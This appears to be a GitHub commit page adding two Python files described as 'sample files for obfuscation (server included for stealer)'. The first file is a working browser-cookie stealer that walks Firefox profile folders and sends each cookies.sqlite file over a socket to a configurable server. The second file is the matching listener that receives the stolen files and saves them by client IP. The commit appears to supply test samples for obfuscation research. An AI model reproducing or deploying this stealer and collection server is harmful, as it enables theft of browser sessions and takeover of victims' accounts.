generated from PoCInnovation/open-source-project-template
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
added : sample files for obfuscation (server included for stealer)
- Loading branch information
1 parent
404b300
commit dcef48f
Showing
2 changed files
with
81 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,36 @@ | ||
import socket | ||
import os | ||
|
||
APPDATA_PATH = os.getenv('APPDATA') | ||
FIREFOX_PROFILE_FOLDER = APPDATA_PATH + r"\Mozilla\Firefox\Profiles" | ||
|
||
def send_file(filename, server_address, server_port): | ||
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket: | ||
client_socket.connect((server_address, server_port)) | ||
|
||
client_socket.send(filename.encode()) | ||
|
||
with open(filename, 'rb') as f: | ||
while True: | ||
data = f.read(1024) | ||
if not data: | ||
break | ||
if client_socket.send(data) == 0: | ||
print("File send failed...") | ||
|
||
print("File {} sent successfully.".format(filename)) | ||
|
||
def main(): | ||
server_address = '127.0.0.1' # TO REPLACE | ||
server_port = 4242 | ||
|
||
profile_folder = os.listdir(FIREFOX_PROFILE_FOLDER) | ||
for profile in profile_folder: | ||
profile_path = fr"{FIREFOX_PROFILE_FOLDER}\{profile}" | ||
files = os.listdir(profile_path) | ||
if len(files) <= 1: | ||
continue # folder is not active profile | ||
send_file(fr"{profile_path}\cookies.sqlite", server_address, server_port) | ||
|
||
if __name__ == "__main__": | ||
main() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,45 @@ | ||
import socket | ||
import os | ||
|
||
def safe_write(raw_filename): | ||
i = 1 | ||
while True: | ||
filename = '{}-{:02.0f}.txt'.format(raw_filename, i) | ||
if os.path.isfile(filename): | ||
i += 1 | ||
continue | ||
return open(filename, 'wb') | ||
|
||
def save_file(connection, filename): | ||
with safe_write(filename) as f: | ||
while True: | ||
data = connection.recv(1024) | ||
if not data: | ||
break | ||
f.write(data) | ||
print("File {} received and saved successfully.".format(filename)) | ||
|
||
def main(): | ||
host = '0.0.0.0' # 0.0.0.0 for any IP | ||
port = 4242 | ||
|
||
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | ||
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) | ||
try: | ||
server_socket.bind((host, port)) | ||
server_socket.listen(1) # listen for one incoming connection | ||
|
||
print("Server listening on {}:{}".format(host, port)) | ||
|
||
while True: | ||
client_socket, addr = server_socket.accept() | ||
print("Connection from:", addr) | ||
|
||
save_file(client_socket, f"data_{addr[0]}") | ||
|
||
client_socket.close() | ||
except KeyboardInterrupt: | ||
server_socket.close() | ||
|
||
if __name__ == "__main__": | ||
main() |